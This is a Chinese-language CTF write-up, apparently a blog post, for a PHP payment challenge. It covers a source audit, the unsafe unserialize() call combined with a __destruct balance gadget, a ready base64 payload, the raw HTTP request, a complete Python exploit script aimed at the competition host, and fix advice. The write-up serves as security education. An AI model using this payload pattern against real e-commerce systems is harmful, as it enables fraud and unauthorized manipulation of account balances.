20金币买99999的东西?PHP反序列化漏洞刷余额实战

__destruct魔术方法+unserialize()直接反序列化余额任意累加

二、WEB-PHP_Payment

题目名称

极简支付 — Supreme Flag 购买

题目难度

初级

题目分类

WEB

题目分值

250

漏洞类型

PHP 反序列化漏洞

题目描述

这是第十届御网杯网络安全线上挑战赛的一个现代化的数字资产商城的题目,Supreme Flag 售价 99999 金币,而玩家的初始余额仅有 20 金币。看起来这是一个不可能完成的购买任务,但附件中提供了完整的源码,我们需要通过代码审计找到突破口。

源码审计

解压 src.zip 后得到如下文件结构:

src/

├── api/

   ├── apply_coupon.php    # 优惠券兑现接口

   └── status.php           # 状态检测

├── app.js                   # 前端逻辑

├── buy.php                  # 购买接口

├── config.php               # 配置文件

├── index.php                # 首页

└── models.php               # 数据模型(含漏洞类)

1. PromoManager 漏洞利用链 (models.php)

这是整个漏洞的核心所在。PromoManager 类定义了一个 __destruct() 魔术方法,当对象被销毁时会自动触发。该方法检查 promo_credit 是否为数字,如果是,就将其值直接累加到 会话余额中。这意味着只要我们能控制这个对象的属性,就能任意修改账户余额。

php

<?php

class PromoManager {

    public $promo_credit;

    public $promo_code;

 

    public function __construct($code, $credit) {

        $this->promo_code = $code;

        $this->promo_credit = $credit;

    }

 

    function __destruct() {

        if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {

            $_SESSION['balance'] += intval($this->promo_credit);

        }

    }

}

2. 反序列化入口 (apply_coupon.php)

问题出在 apply_coupon.php 中。该接口接收用户提交的优惠券数​据,对其进行 Base64 解码后直接调用 unserialize() 进行反序列化。这是一个非常危险的​操作——直接将用户可控的数​据作为反序列化的输入,等于打开了一扇大门。

php

$couponData = $_POST['coupon'] ?? '';

$decoded = base64_decode($couponData);

$promo = @unserialize($decoded);   // 危险:直接反序列化用户输入

3. 购买逻辑 (buy.php)

buy.php 中定义了商城的商品和价格。Supreme Flag 的价格是 99999 金币,而初始余额只有 20。系统会检查余额是否足够,不足则拒绝购买。所以我们的思路就是先通过反序列化漏洞把余额刷到足够高,然后再购买 flag。

php

$items = [

    'basic_vip' => 10,

    'premium_vip' => 50,

    'flag' => 99999

];

 

if ($_SESSION['balance'] < $price) {

    die(json_encode(["error" => "Insufficient funds!"]));

}

漏洞原理

整个攻击链的​流程非常清晰:用户提交恶意的 Base64 编码数​据→服务器对其进行 base64_decode() 解码→再调用 unserialize() 反序列化→实例化出 PromoManager 对象→脚本结束时对象被销毁→__destruct() 自动触发→余额被累加 promo_credit 的​值→余额暴增→购买 Supreme Flag。

这就是典型的 POP 链(Property-Oriented Programming)攻击。关键在于 unserialize() 会自动调用 __destruct() 魔术方法,而 __destruct() 中的操作可以被攻击者通过控制对象属性来利用。整个过程中服务器完全没有对反序列化数​据做任何校验,包括类型检查、签名验证或白名单限制。

攻击步骤

Step 1:构造恶意序列化对象

用 PHP 构造一个 PromoManager 对象,将 promo_credit 设为 100000(足够购买 99999 的 flag),然后序列化并进行 Base64 编码:

php

$p = new PromoManager("exploit", 100000);

echo base64_encode(serialize($p));

 

// 输出: TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6NzoiZXhwbG9pdCI7fQ==

Step 2:发送恶意优惠券

向 apply_coupon.php 接口发送 POST 请求,携带恶意的 Base64 编码数​据。服务器返回 Coupon processed 表示处理成功,此时会话余额已经从 20 变为 100020。

http

POST /api/apply_coupon.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

 

coupon=TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6NzoiZXhwbG9pdCI7fQ==

Step 3:购买 Flag

余额充​足后,直接发送购买请求即​可获取 flag。整个过程可以用脚本自动化完成。

Exploit 脚本

下面是完整的自动化利用脚本,包含了建立会话、发送恶意优惠券、购买 flag 三个步骤:

python

#!/usr/bin/env python3

"""极简支付 CTF Exploit PHP 反序列化漏洞"""

import requests, base64, sys

 

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://47.99.147.34:23024"

 

# PHP 序列化后 Base64 编码的 PromoManager 对象

PAYLOAD = "TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6NzoiZXhwbG9pdCI7fQ=="

 

sess = requests.Session()

 

# 1. 建立 session

sess.get(TARGET, timeout=10)

 

# 2. 发送恶意优惠券(反序列化刷金币)

sess.post(f"{TARGET}/api/apply_coupon.php", data={"coupon": PAYLOAD}, timeout=10)

 

# 3. 购买 Supreme Flag

r = sess.post(f"{TARGET}/buy.php", data={"item": "flag"}, timeout=10)

print(r.text)

运行方式:python3 exploit.py http://47.99.147.34:23024

余额变化过程

下表展示了整个攻击过程中余额的变化:

阶段

余额

初始

20

反序列化后

100020

购买 Flag

21

修复建议

针对这类反序列化漏洞,修复方案包括以下几点:第一,禁止对用户输入进行反序列化,建议使用 JSON 替代 unserialize();第二,对优惠券数​据添加 HMAC 签名验证,防止篡改;第三,使用输入白名单机制,仅允许预定义的优惠券代码;第四,避免在业务类中使用 __destruct() 等自动触发的魔术方法操作敏感数​据。

未完待续

下篇将带来 SSTI 模板注入的解题思路

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xBADCODE

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值